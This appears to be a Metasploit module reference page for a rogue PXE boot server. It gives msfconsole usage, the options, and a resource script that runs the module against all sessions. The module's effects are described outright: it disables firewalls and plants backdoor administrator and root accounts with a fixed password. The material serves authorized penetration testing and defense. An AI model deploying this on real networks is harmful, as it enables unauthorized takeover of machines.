Windows Manage PXE Exploit Server - Metasploit


This page contains detailed information about how to use the post/windows/manage/pxeexploit metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Manage PXE Exploit Server
Module: post/windows/manage/pxeexploit
Source code: modules/post/windows/manage/pxeexploit.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module provides a PXE server, running a DHCP and TFTP server. The default configuration loads a linux kernel and initrd into memory that reads the hard drive; placing a payload to install metsvc, disable the firewall, and add a new user metasploit on any Windows partition seen, and add a uid 0 user with username and password metasploit to any linux partition seen. The windows user will have the password p@SSw0rd!123456 (in case of complexity requirements) and will be added to the administrators group. See exploit/windows/misc/pxesploit for a version to deliver a specific payload. Note: the displayed IP address of a target is the address this DHCP server handed out, not the "normal" IP address the host uses.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/pxeexploit

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/pxeexploit
msf post(pxeexploit) > show options
    ... show and set options ...
msf post(pxeexploit) > set SESSION session-id
msf post(pxeexploit) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/pxeexploit")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/manage/pxeexploit post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/pxeexploit

msf6 post(windows/manage/pxeexploit) > show info

       Name: Windows Manage PXE Exploit Server
     Module: post/windows/manage/pxeexploit
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  scriptjunkie

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module provides a PXE server, running a DHCP and TFTP server. 
  The default configuration loads a linux kernel and initrd into 
  memory that reads the hard drive; placing a payload to install 
  metsvc, disable the firewall, and add a new user metasploit on any 
  Windows partition seen, and add a uid 0 user with username and 
  password metasploit to any linux partition seen. The windows user 
  will have the password p@SSw0rd!123456 (in case of complexity 
  requirements) and will be added to the administrators group. See 
  exploit/windows/misc/pxesploit for a version to deliver a specific 
  payload. Note: the displayed IP address of a target is the address 
  this DHCP server handed out, not the "normal" IP address the host 
  uses.

Module Options

This is a complete list of options available in the windows/manage/pxeexploit post exploitation module:

msf6 post(windows/manage/pxeexploit) > show options

Module options (post/windows/manage/pxeexploit):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/manage/pxeexploit post exploitation module:

msf6 post(windows/manage/pxeexploit) > show advanced

Module advanced options (post/windows/manage/pxeexploit):

   Name         Current Setting                                                       Required  Description
   ----         ---------------                                                       --------  -----------
   DHCPIPEND                                                                          no        The last IP to give out
   DHCPIPSTART                                                                        no        The first IP to give out
   NETMASK      255.255.255.0                                                         no        The netmask of the local subnet
   RESETPXE     false                                                                 yes       Resets the server to re-exploit already targeted hosts
   SRVHOST                                                                            no        The IP of the DHCP server
   TFTPROOT     /opt/metasploit-framework/embedded/framework/data/exploits/pxexploit  no        The TFTP root directory to serve files from
   VERBOSE      false                                                                 no        Enable detailed status messages
   WORKSPACE                                                                          no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/manage/pxeexploit module can do:

msf6 post(windows/manage/pxeexploit) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/manage/pxeexploit post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/pxeexploit) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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See Also

Check also the following modules related to this module:

Authors

  • scriptjunkie

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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